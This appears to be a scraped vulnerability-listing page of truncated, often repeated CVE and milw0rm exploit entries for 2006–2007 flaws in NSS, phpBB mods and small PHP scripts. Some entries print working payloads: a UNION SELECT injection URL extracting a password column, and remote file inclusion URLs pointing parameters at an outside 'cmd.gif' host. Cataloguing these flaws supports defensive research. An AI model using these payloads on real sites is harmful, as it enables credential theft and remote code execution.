CVE-2007-0009

Stack-based buffer overflow in the SSLv2 support in Mozilla Network Security Services NSS before 3.11.5, as used by Firefox before 1.5.0.10 and 2.x before 2.0.0.2, Thunderbird before 1.5.0.10, SeaMonkey before 1.0.8, and certain Sun Java System server products before 20070611, allows remote...

NSS: SSLv2 protocol buffer overflows

Stack-based buffer overflow in the SSLv2 support in Mozilla Network Security Services NSS before 3.11.5, as used by Firefox before 1.5.0.10 and 2.x before 2.0.0.2, Thunderbird before 1.5.0.10, SeaMonkey before 1.0.8, and certain Sun Java System server products before 20070611, allows remote...

NSS: SSLv2 protocol buffer overflows

Stack-based buffer overflow in the SSLv2 support in Mozilla Network Security Services NSS before 3.11.5, as used by Firefox before 1.5.0.10 and 2.x before 2.0.0.2, Thunderbird before 1.5.0.10, SeaMonkey before 1.0.8, and certain Sun Java System server products before 20070611, allows remote...

phpBB2 Plus 1.53 (Acronym Mod) Remote SQL Injection Vulnerability

No description provided by source. Acronym Mod v0.9.5 Remote SQL Injection Vulnerability Download: http://www.codemonkeyx.net Found By: the master exploit:...

Newxooper-php v0.9.1(chemin) Remote File Include Vulnerabilty

Newxooper-php v0.9.1chemin Remote File Include Vulnerabilty Download:http://www.easy-script.com/newxoope-091.zip Author:Dr Max Virus Location:Egypt Bug in compteur/mapage.php In Line:37 Vul Code: REQUIRE "$chemin/compteur/mapage.txt"; POC: http://target/path/compteur/mapage.php?chemin=Evil Code...

Newxooper-PHP 0.9.1 - mapage.php Remote File Inclusion

Newxooper-PHP 0.9.1 - mapage.php Remote File Inclusion Newxooper-php v0.9.1chemin Remote File Include Vulnerabilty Download:http://www.easy-script.com/newxoope-091.zip Author:Dr Max Virus Location:Egypt Bug in compteur/mapage.php In Line:37 Vul Code: REQUIRE "$chemin/compteur/mapage.txt"; POC:...

Uploader Downloader 3.0 - id_user SQL Injection

Uploader Downloader 3.0 - iduser SQL Injection uploader&downloader v3 Remote SQL Injection Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1892uploader-30.zip Found By: the master exploit:...

Uploader & Downloader 3.0 (id_user) Remote SQL Injection Vulnerability

No description provided by source. uploader&downloader v3 Remote SQL Injection Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1892uploader-30.zip Found By: the master exploit:...

Uploader & Downloader 3.0 - 'id_user' SQL Injection

uploader&downloader v3 Remote SQL Injection Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1892uploader-30.zip Found By: the master exploit: http://Target/Path/administration/administre2.php?iduser=-1%20UNION%20SELECT%20null,passe,null,null%20FROM%20connectuploadfichier%20WHERE%20iduser=1...

Admin Hacks List v1.20 Remote SQL Injection Vulnerability

Admin Hacks List v1.20 Remote SQL Injection Vulnerability Download: http://www.nivisec.com Found By: the master exploit:...

Hacks List phpBB Mod 1.21 - SQL Injection

Admin Hacks List v1.20 Remote SQL Injection Vulnerability Download: http://www.nivisec.com Found By: the master exploit:...

CVE-2006-4625

PHP 4.x up to 4.4.4 and PHP 5 up to 5.1.6 allows local users to bypass certain Apache HTTP Server httpd.conf options, such as safemode and openbasedir, via the inirestore function, which resets the values to their php.ini Master Value defaults...

minibill.txt

MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif? http://Target/Path/include/initPlugins.php?configplugindir=http://cmd.g...

Linux-HA Heartbeat 2.0.6 - Remote Denial of Service

Linux-HA Heartbeat 2.0.6 - Remote Denial of Service source: https://www.securityfocus.com/bid/19516/info Linux-HA Heartbeat is prone to a remote denial-of-service vulnerability. By successfully exploiting this issue, attackers can crash the master control process. This may result in the failure o...

Boite de News 4.0.1 - index.php Remote File Inclusion

Boite de News 4.0.1 - index.php Remote File Inclusion Boite de News v4.0.1 Remote File Inclusion Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1801boiteden-401.zip Found By: the master exploit: http://Target/Path/boitenews4/index.php?urlindex=http://cmd.gif? milw0rm.com 2006-08-09...

Boite de News 4.0.1 - 'index.php' Remote File Inclusion

Boite de News v4.0.1 Remote File Inclusion Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1801boiteden-401.zip Found By: the master exploit: http://Target/Path/boitenews4/index.php?urlindex=http://cmd.gif? milw0rm.com 2006-08-09...

docpile:we <= 0.2.2 (INIT_PATH) Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ===================================================================== docpile:we = 0.2.2 INITPATH Remote File Inclusion Vulnerabilities ===================================================================== TiTLE: docpile:we v0.2.2 INITPATH...

CVE-2006-0561

Cisco Secure Access Control Server ACS 3.x for Windows stores ACS administrator passwords and the master key in the registry with insecure permissions, which allows local users and remote administrators to decrypt the passwords by using Microsoft's cryptographic API functions to obtain the...

SYMSA-2006-003: Cisco Secure ACS for Windows - Administrator Password Disclosure

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Symantec Vulnerability Research https://www.symantec.com/research Security Advisory Advisory ID : SYMSA-2006-003 Advisory Title: Cisco Secure ACS for Windows - Administrator Password Disclosure Author : Andreas Junestam Release Date : 05-08-2006...

CVE-2006-1117: Undefined Security Weakness

nCipher firmware before V10, as used by 1 nShield, 2 nForce, 3 netHSM, 4 payShield, 5 SecureDB, 6 DSE200 Document Sealing Engine, 7 Time Source Master Clock TSMC, and possibly other products, contains certain options that were only intended for testing and not production, which might allow remote...